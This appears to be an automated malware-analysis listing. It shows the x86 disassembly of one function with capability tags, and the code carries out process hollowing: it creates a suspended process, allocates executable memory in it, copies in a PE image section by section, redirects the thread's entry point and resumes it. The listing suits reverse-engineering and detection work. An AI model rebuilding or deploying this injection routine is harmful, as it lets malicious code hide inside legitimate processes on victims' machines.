Function at 0x539ed4
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff74
mov dword [ebp - 0x44], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x44]
call fcn.0040a274
xor eax, eax
push ebp
push 0x53a169
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 8]
xor edx, edx
push edx
push eax
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x3c]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
push eax
add eax, 4
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 8]
add eax, 0x14
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x14], eax
add eax, 0xe0
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x8c]
xor ecx, ecx
mov edx, 0x44
call fcn.00407c30
lea eax, [ebp - 0x38]
xor ecx, ecx
mov edx, 0x10
call fcn.00407c30
mov dword [ebp - 0x8c], 0x44
mov word [ebp - 0x5c], 0
lea eax, [ebp - 0x44]
call fcn.0040a6d8
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x8c]
push eax
push 0
push 0
push 0x8000004
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 0x44]
call fcn.0040abe4
push eax
call sub.kernel32.dll_CreateProcessW
test eax, eax
jne 0x539fca
mov ecx, 0x53a184
mov dl, 1
mov eax, dword [0x539c04]
call fcn.00539d38
call fcn.00409878
push 4
push 0x1000
push 0x2cc
push 0
call sub.kernel32.dll_VirtualAlloc
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0x10007
mov eax, dword [ebp - 0x1c]
push eax
mov eax, dword [ebp - 0x34]
push eax
call sub.kernel32.dll_GetThreadContext
test eax, eax
jne 0x53a010
mov ecx, 0x53a1b0
mov dl, 1
mov eax, dword [0x539c04]
call fcn.00539d38
call fcn.00409878
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax + 0xa4]
add eax, 8
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0x38]
mov dword [ebp - 0x3c], eax
push dword [ebp - 0x20]
push 4
push dword [ebp - 0x24]
push dword [ebp - 0x28]
push dword [ebp - 0x38]
call sub.kernel32.dll_ReadProcessMemory
push 0x40
push 0x3000
push dword [ebp - 0x3c]
push 0
push dword [ebp - 0x38]
call sub.kernel32.dll_VirtualAllocEx
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0
jne 0x53a06e
mov ecx, 0x53a1e0
mov dl, 1
mov eax, dword [0x539c04]
call fcn.00539d38
call fcn.00409878
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0x3c]
push eax
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x38]
call fcn.00539e60
mov eax, dword [ebp - 0x10]
movzx eax, word [eax + 2]
test eax, eax
jle 0x53a0e5
mov dword [ebp - 0x48], eax
xor eax, eax
push ebp
push 0x53a0d9
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x10]
push eax
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax + 0x14]
add ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x18]
mov edx, dword [eax + 0xc]
add edx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x38]
call fcn.00539e60
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x53a0e0
mov eax, dword [ebp - 0x18]
add eax, 0x28
mov dword [ebp - 0x18], eax
pop eax
jmp eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0x10]
add eax, dword [ebp - 0x40]
mov edx, dword [ebp - 0x1c]
mov dword [edx + 0xb0], eax
push 4
lea ecx, [ebp - 0x40]
mov edx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x38]
call fcn.00539e60
mov eax, dword [ebp - 0x1c]
push eax
mov eax, dword [ebp - 0x34]
push eax
call sub.kernel32.dll_SetThreadContext
test eax, eax
jne 0x53a12e
mov ecx, 0x53a20c
mov dl, 1
mov eax, dword [0x539c04]
call fcn.00539d38
call fcn.00409878
mov eax, dword [ebp - 0x34]
push eax
call sub.kernel32.dll_ResumeThread
test eax, eax
jne 0x53a151
mov ecx, 0x53a23c
mov dl, 1
mov eax, dword [0x539c04]
call fcn.00539d38
call fcn.00409878
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x53a170
lea eax, [ebp - 0x44]
call fcn.0040a180
pop eax
jmp eax